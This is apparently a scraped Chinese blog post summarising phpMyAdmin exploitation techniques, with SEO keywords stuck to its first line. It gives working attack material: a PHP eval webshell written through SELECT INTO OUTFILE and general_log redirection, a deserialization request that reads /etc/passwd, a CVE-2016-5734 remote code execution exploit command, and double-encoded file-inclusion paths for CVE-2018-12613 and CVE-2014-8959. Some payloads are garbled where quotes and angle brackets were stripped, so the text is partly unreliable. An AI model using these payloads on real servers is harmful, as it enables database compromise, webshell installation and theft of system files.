哈尔滨网站建设公司有哪些,微商需要做网站吗,跨境电商选品,wordpress博客vieu模板phpMyAdmin渗透利用总结
前言 总结一下常见的phpmyadmin的漏洞利用姿势
简介 phpMyAdmin 是一个以PHP为基础#xff0c;以Web-Base方式架构在网站主机上的MySQL的数据库管理工具#xff0c;让管理者可用Web接口管理MySQL数据库。借由此Web接口可以成为一个简易方式输入繁杂…phpMyAdmin渗透利用总结
前言 总结一下常见的phpmyadmin的漏洞利用姿势
简介 phpMyAdmin 是一个以PHP为基础以Web-Base方式架构在网站主机上的MySQL的数据库管理工具让管理者可用Web接口管理MySQL数据库。借由此Web接口可以成为一个简易方式输入繁杂SQL语法的较佳途径尤其要处理大量资料的汇入及汇出更为方便。其中一个更大的优势在于由于phpMyAdmin跟其他PHP程式一样在网页服务器上执行但是您可以在任何地方使用这些程式产生的HTML页面也就是于远端管理MySQL数据库方便的建立、修改、删除数据库及资料表。也可借由phpMyAdmin建立常用的php语法方便编写网页时所需要的sql语法正确性。 获取phpmyadmin版本信息 在网址根路径后面添加
readme.php
README
changelog.php
Change
Documetation.html
Documetation.txt
translators.html注意区分大小写就可以看到phpmyadmin的相关版本信息了这个方法也是通杀的只要管理员不把他们删掉。 phpMyAdmin常规getshell 1.可以看看网站是否存在注入利用注入出来的账号密码登录 2.使用phpmyadmin爆破工具进行爆破进入后台 phpmyadmin直接写入文件 先要知道根路径利用错误爆破路径等这里用phpinfo查看根路径 获取绝对路径的方法
1.phpinfo()
2.出错页面
3.load_file读取网站配置文件 如index.php /etc/passwd
4.查看数据库表内容获取 有一些cms会保存网站配置文件 或者路径
5.进入后台
6.百度出错信息 zoomeye shadon 搜索error warning
7. datadir参数看mysql路径 反猜绝对路径可以通过写shell进行提权而我们需要满足以下条件
1.数据库root权限
2.知道网站的物理路径
3.数据库有写权限MySQL 5.0的版本会然后在服务运行的情况下修改变量变量也可以移动文件位置的但是必须要对生成日志的目录具有可更改的写权限。Linux环境下可能会比较苛刻因为站点目录是一个用户MySQL是另外一个用户权限管控较大严格主要取决于权限配置是否得当
1.首先我们测试站点是否有写权限 执行sql语句像“ secure_file_priv”这样显示变量
secure-file-priv特性
secure-file-priv参数是用来限制LOAD DATA, SELECT ... OUTFILE, and LOAD_FILE()传到哪个指定目录的。
当secure_file_priv的值为null 表示限制mysql 不允许导入|导出
当secure_file_priv的值为/tmp/ 表示限制mysql 的导入|导出只能发生在/tmp/目录下
当secure_file_priv的值没有具体值时表示不对mysql 的导入|导出做限制
可以在mysql-ini文件中设置其属性编写一句phpinfo文件
select ?php phpinfo();? INTO OUTFILE d:\\phpstudy\\www\\7.php这里必须注意要双反斜线否则会转义 成功写入
利用日志getshell当成文件 被淘汰的原理可以利用日志getshell原理phpmyadmin有一个记录日志的文件但是一般情况下会关闭开启日志记录然后设置日志记录名称为.php随便执行sql语句只要包括一句话木马就会被写入到日志中去然后就可以连接getshell
默认情况下是关闭的 第一步手动开启日志。 set global general_log‘on’ //首先设置为on 第二步 修改日志路径 set global general_log_file “d:\phpstudy\www\a.php” 然后 查看是否开启成功 show variables like “general_log%” 已成功 然后只要执行的语句都会写入到日志文件中所以我们查询语句 select ‘?php eval($_POST[a]);?’ 虽然报错但已经写进去了 使用蚁剑成功连接
phpMyAdmin漏洞利用 phpmyadmin反序列化扩展任意文件读取WooYun-2016-199433 影响phpMyAdmin 2.x版本poc如下
POST /scripts/setup.php HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trid ent/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded Content-Length: 80actiontestconfigurationO:10:PMA_Config:1:{s:6:source,s:11:/etc/passwd;}CVE-2016-5734 RCE 突破版本
1、授权用户
2、phpmyadmin4.3.0-4.6.2
3、PHP 4.3.0-5.4.6最初由于将用户输入的信息拼凑成preg_replace函数第一个参数中而在PHP5.4.7以前preg_replace存在漏洞可以0进行截断从而正则模式修改为e长袍执行命令。
在Kali中有自带的EXP searchsploit phpmyadmin python3 40185.py -u root - root -d test -c “system(whoami)” http://192.168.75.130:8080/ 这个pre_replace引发的漏洞在PHP版本4.3.0-5.4.6中能触发PHP 5.4.7后就不行了。phpmyadmin在4.6.3中修复了这个漏洞
CVE-2018-12613文件包含 突破版本phpMyAdmin 4.8.0和4.8.1 最初在index.php中存在一处文件包含逻辑 满足以下5个条件
1、不为空
2、字符串
3、不以index开头
4、不在$target_blacklist这个黑名单中
5、Core::checkPageValidity()函数为TRUE
进而通过二次编码即可绕过检查造成远程文件包含漏洞。判断是否存在裂缝经过二次编码绕过 /index.php?targetdb_sql.php%253f/…/…/…/…/…/…/…/./etc/passwd 然后在sql语句中执行一些语句记录到日志然后在包含即可
SELECT ?php phpinfo()?;
查询phpmyadmin cookie值(开发者工具查看)
http://192.168.75.130:8080/index.php?targetdb_sql.php%253f/../../../../../../tmp/sess_ff16b4962b5343089c8fcd4c58df53baCVE-2014 -8959本地文件包含 影响范围phpMyAdmin 4 .0.1–4 .2.12需要PHP版本5.3.4Poc如下
/gis_data_editor.php?token你的token值gis_data[gis_type]
/../../../../phpinfo.txt%00在实际利用中可以利用写入文件到/ tmp目录下结合此漏洞完成RCEphp版本可以通过http标头从表内容到文件的附加内容看到。
其他突破 CVE-2018-19968任意文件包含/ RCE
参考链接 https://mp.weixin.qq.com/s/9Tkcn2AtGrHUsIbRCQ-ZSQ